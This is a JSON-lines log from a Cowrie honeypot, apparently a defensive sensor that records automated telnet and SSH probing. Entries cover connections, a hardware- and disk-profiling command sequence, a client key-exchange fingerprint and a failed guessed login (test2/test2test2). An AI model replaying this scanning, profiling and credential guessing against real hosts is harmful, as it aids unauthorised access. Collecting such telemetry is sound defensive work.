{"eventid":"cowrie.session.closed","duration":1.7134654521942139,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:28.800770Z","src_ip":"188.208.141.113","session":"625296408175","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.92598915100098,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:28.937871Z","src_ip":"162.55.233.176","session":"7fd210d25ec5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58378,"dst_ip":"159.203.135.109","dst_port":23,"session":"a13855777198","protocol":"telnet","message":"New connection: 162.55.233.176:58378 (159.203.135.109:23) [session: a13855777198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:28.995027Z"}
{"eventid":"cowrie.session.closed","duration":36.92588019371033,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:29.226456Z","src_ip":"162.55.233.176","session":"94081317590d","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:29.312007Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:29.315999Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58380,"dst_ip":"159.203.135.109","dst_port":23,"session":"442d469f1159","protocol":"telnet","message":"New connection: 162.55.233.176:58380 (159.203.135.109:23) [session: 442d469f1159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:29.324069Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:29.583414Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.27181100845337,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:29.745425Z","src_ip":"162.55.233.176","session":"96c2978d8d40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.63542056083679,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:29.754650Z","src_ip":"162.55.233.176","session":"8736a624af19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.85722351074219,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:30.006380Z","src_ip":"162.55.233.176","session":"dfe342ac85e2","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:30.153935Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:30.158086Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:30.427315Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.1","message":"Connection lost after 22.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:30.434051Z","src_ip":"103.170.173.26","session":"b4d7fdbb6283","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.812276363372803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:30.596259Z","src_ip":"162.55.233.176","session":"676b66f2f45d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58384,"dst_ip":"159.203.135.109","dst_port":23,"session":"a05a0b689aeb","protocol":"telnet","message":"New connection: 162.55.233.176:58384 (159.203.135.109:23) [session: a05a0b689aeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:30.910546Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58388,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b27c34e6d14","protocol":"telnet","message":"New connection: 162.55.233.176:58388 (159.203.135.109:23) [session: 3b27c34e6d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:31.299064Z"}
{"eventid":"cowrie.session.closed","duration":44.3644073009491,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:31.798367Z","src_ip":"206.189.32.23","session":"472c691e2663","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.720473766326904,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:31.867283Z","src_ip":"162.55.233.176","session":"5acba700210c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58390,"dst_ip":"159.203.135.109","dst_port":23,"session":"184fdf7c26cd","protocol":"telnet","message":"New connection: 162.55.233.176:58390 (159.203.135.109:23) [session: 184fdf7c26cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:31.938992Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58400,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc9ed4b4f047","protocol":"telnet","message":"New connection: 162.55.233.176:58400 (159.203.135.109:23) [session: bc9ed4b4f047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:32.167176Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58410,"dst_ip":"159.203.135.109","dst_port":23,"session":"a20884dc4c6f","protocol":"telnet","message":"New connection: 162.55.233.176:58410 (159.203.135.109:23) [session: a20884dc4c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:32.625955Z"}
{"eventid":"cowrie.session.closed","duration":33.66455149650574,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:32.682396Z","src_ip":"162.55.233.176","session":"1158669574bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55870,"dst_ip":"159.203.135.109","dst_port":23,"session":"154b5578b832","protocol":"telnet","message":"New connection: 162.55.233.176:55870 (159.203.135.109:23) [session: 154b5578b832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:32.968628Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55872,"dst_ip":"159.203.135.109","dst_port":23,"session":"ded4b1a23330","protocol":"telnet","message":"New connection: 162.55.233.176:55872 (159.203.135.109:23) [session: ded4b1a23330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:33.214652Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55878,"dst_ip":"159.203.135.109","dst_port":23,"session":"4af6d8829476","protocol":"telnet","message":"New connection: 162.55.233.176:55878 (159.203.135.109:23) [session: 4af6d8829476]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:33.298960Z"}
{"eventid":"cowrie.session.closed","duration":34.42538285255432,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:33.574171Z","src_ip":"162.55.233.176","session":"566e769f960d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.77699065208435,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:33.694320Z","src_ip":"188.208.141.113","session":"ccf707bf29fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55886,"dst_ip":"159.203.135.109","dst_port":23,"session":"26662b25b2da","protocol":"telnet","message":"New connection: 162.55.233.176:55886 (159.203.135.109:23) [session: 26662b25b2da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:34.018430Z"}
{"eventid":"cowrie.session.closed","duration":34.71481490135193,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:34.134435Z","src_ip":"162.55.233.176","session":"78fbaeb6ffa6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.58028268814087,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:34.690660Z","src_ip":"206.189.32.23","session":"26b9a57a74a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55894,"dst_ip":"159.203.135.109","dst_port":23,"session":"78cbc5f11d82","protocol":"telnet","message":"New connection: 162.55.233.176:55894 (159.203.135.109:23) [session: 78cbc5f11d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:34.725201Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55910,"dst_ip":"159.203.135.109","dst_port":23,"session":"2113b3a832d7","protocol":"telnet","message":"New connection: 162.55.233.176:55910 (159.203.135.109:23) [session: 2113b3a832d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:34.919085Z"}
{"eventid":"cowrie.session.closed","duration":44.95898103713989,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:34.999754Z","src_ip":"206.189.32.23","session":"bae5f771c795","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55920,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dc9b2c4383e","protocol":"telnet","message":"New connection: 162.55.233.176:55920 (159.203.135.109:23) [session: 1dc9b2c4383e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:35.195738Z"}
{"eventid":"cowrie.session.closed","duration":31.894492149353027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:35.415787Z","src_ip":"162.55.233.176","session":"586956529a3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55934,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2e267fc5e50","protocol":"telnet","message":"New connection: 162.55.233.176:55934 (159.203.135.109:23) [session: a2e267fc5e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:35.475532Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55944,"dst_ip":"159.203.135.109","dst_port":23,"session":"66b2d2c09c71","protocol":"telnet","message":"New connection: 162.55.233.176:55944 (159.203.135.109:23) [session: 66b2d2c09c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:35.517028Z"}
{"eventid":"cowrie.session.closed","duration":45.75085210800171,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:35.863482Z","src_ip":"162.55.233.176","session":"f76e4a90e05f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.32752513885498,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:36.452206Z","src_ip":"162.55.233.176","session":"8d98a87a6cb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80112648010254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:36.542395Z","src_ip":"162.55.233.176","session":"85da9896614f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55960,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a4274c10f84","protocol":"telnet","message":"New connection: 162.55.233.176:55960 (159.203.135.109:23) [session: 2a4274c10f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:36.691501Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55964,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c9c293cc8e9","protocol":"telnet","message":"New connection: 162.55.233.176:55964 (159.203.135.109:23) [session: 7c9c293cc8e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:36.720628Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55966,"dst_ip":"159.203.135.109","dst_port":23,"session":"1abeb1426ab0","protocol":"telnet","message":"New connection: 162.55.233.176:55966 (159.203.135.109:23) [session: 1abeb1426ab0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:36.829366Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55972,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d7715206f3b","protocol":"telnet","message":"New connection: 162.55.233.176:55972 (159.203.135.109:23) [session: 9d7715206f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:36.871107Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55974,"dst_ip":"159.203.135.109","dst_port":23,"session":"2afc2eafc6de","protocol":"telnet","message":"New connection: 162.55.233.176:55974 (159.203.135.109:23) [session: 2afc2eafc6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:37.085666Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55988,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1af57b5e4d2","protocol":"telnet","message":"New connection: 162.55.233.176:55988 (159.203.135.109:23) [session: a1af57b5e4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:37.407912Z"}
{"eventid":"cowrie.session.closed","duration":31.61791181564331,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:37.832072Z","src_ip":"162.55.233.176","session":"c5e00538bbbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56002,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d031a720bb3","protocol":"telnet","message":"New connection: 162.55.233.176:56002 (159.203.135.109:23) [session: 5d031a720bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:37.840203Z"}
{"eventid":"cowrie.session.closed","duration":31.441453218460083,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:37.902202Z","src_ip":"162.55.233.176","session":"10ab38acc75a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.912923097610474,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:38.032575Z","src_ip":"162.55.233.176","session":"6275506110dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56004,"dst_ip":"159.203.135.109","dst_port":23,"session":"70130070676d","protocol":"telnet","message":"New connection: 162.55.233.176:56004 (159.203.135.109:23) [session: 70130070676d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:38.083447Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56012,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc5b43a8b3ad","protocol":"telnet","message":"New connection: 162.55.233.176:56012 (159.203.135.109:23) [session: fc5b43a8b3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:38.322801Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43820,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d8e7987f93a","protocol":"telnet","message":"New connection: 188.208.141.113:43820 (10.17.0.5:23) [session: 4d8e7987f93a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:38.351996Z"}
{"eventid":"cowrie.session.closed","duration":30.514069080352783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:38.396521Z","src_ip":"162.55.233.176","session":"c61dbaf3264c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63509488105774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:38.440241Z","src_ip":"162.55.233.176","session":"ec3b01852b13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.13922476768494,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:38.795853Z","src_ip":"162.55.233.176","session":"5bb934c168a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.83746266365051,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:38.977579Z","src_ip":"162.55.233.176","session":"6a19595df488","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.03890943527222,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:39.027050Z","src_ip":"162.55.233.176","session":"cd870ed99286","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56018,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a80e0400fef","protocol":"telnet","message":"New connection: 162.55.233.176:56018 (159.203.135.109:23) [session: 5a80e0400fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:39.140949Z"}
{"eventid":"cowrie.session.closed","duration":39.212958097457886,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:39.335054Z","src_ip":"188.208.141.113","session":"556f55fabdfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56024,"dst_ip":"159.203.135.109","dst_port":23,"session":"27f5f3c6937e","protocol":"telnet","message":"New connection: 162.55.233.176:56024 (159.203.135.109:23) [session: 27f5f3c6937e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:39.414011Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":12686,"dst_ip":"10.17.0.5","dst_port":22,"session":"b442b70f5910","protocol":"ssh","message":"New connection: 38.137.11.14:12686 (10.17.0.5:22) [session: b442b70f5910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:39.421889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:39.426082Z","src_ip":"38.137.11.14","session":"b442b70f5910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:39.643507Z","src_ip":"38.137.11.14","session":"b442b70f5910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56038,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d9b28d3dbad","protocol":"telnet","message":"New connection: 162.55.233.176:56038 (159.203.135.109:23) [session: 6d9b28d3dbad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:39.771871Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56044,"dst_ip":"159.203.135.109","dst_port":23,"session":"960945a002bb","protocol":"telnet","message":"New connection: 162.55.233.176:56044 (159.203.135.109:23) [session: 960945a002bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:40.167815Z"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2test2","message":"login attempt [test2/test2test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:40.546427Z","src_ip":"38.137.11.14","session":"b442b70f5910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56060,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce9082601b0f","protocol":"telnet","message":"New connection: 162.55.233.176:56060 (159.203.135.109:23) [session: ce9082601b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:40.729332Z"}
{"eventid":"cowrie.session.closed","duration":37.40109944343567,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:40.786762Z","src_ip":"162.55.233.176","session":"14075aad3050","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.376293659210205,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:40.910629Z","src_ip":"162.55.233.176","session":"394b35bea6d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56064,"dst_ip":"159.203.135.109","dst_port":23,"session":"d47c3eedf815","protocol":"telnet","message":"New connection: 162.55.233.176:56064 (159.203.135.109:23) [session: d47c3eedf815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:40.915067Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56068,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d324ff06973","protocol":"telnet","message":"New connection: 162.55.233.176:56068 (159.203.135.109:23) [session: 9d324ff06973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:41.329319Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56072,"dst_ip":"159.203.135.109","dst_port":23,"session":"9597fb0ae2ca","protocol":"telnet","message":"New connection: 162.55.233.176:56072 (159.203.135.109:23) [session: 9597fb0ae2ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:41.432827Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":56078,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5d356f839f2","protocol":"telnet","message":"New connection: 162.55.233.176:56078 (159.203.135.109:23) [session: b5d356f839f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:03:41.552819Z"}
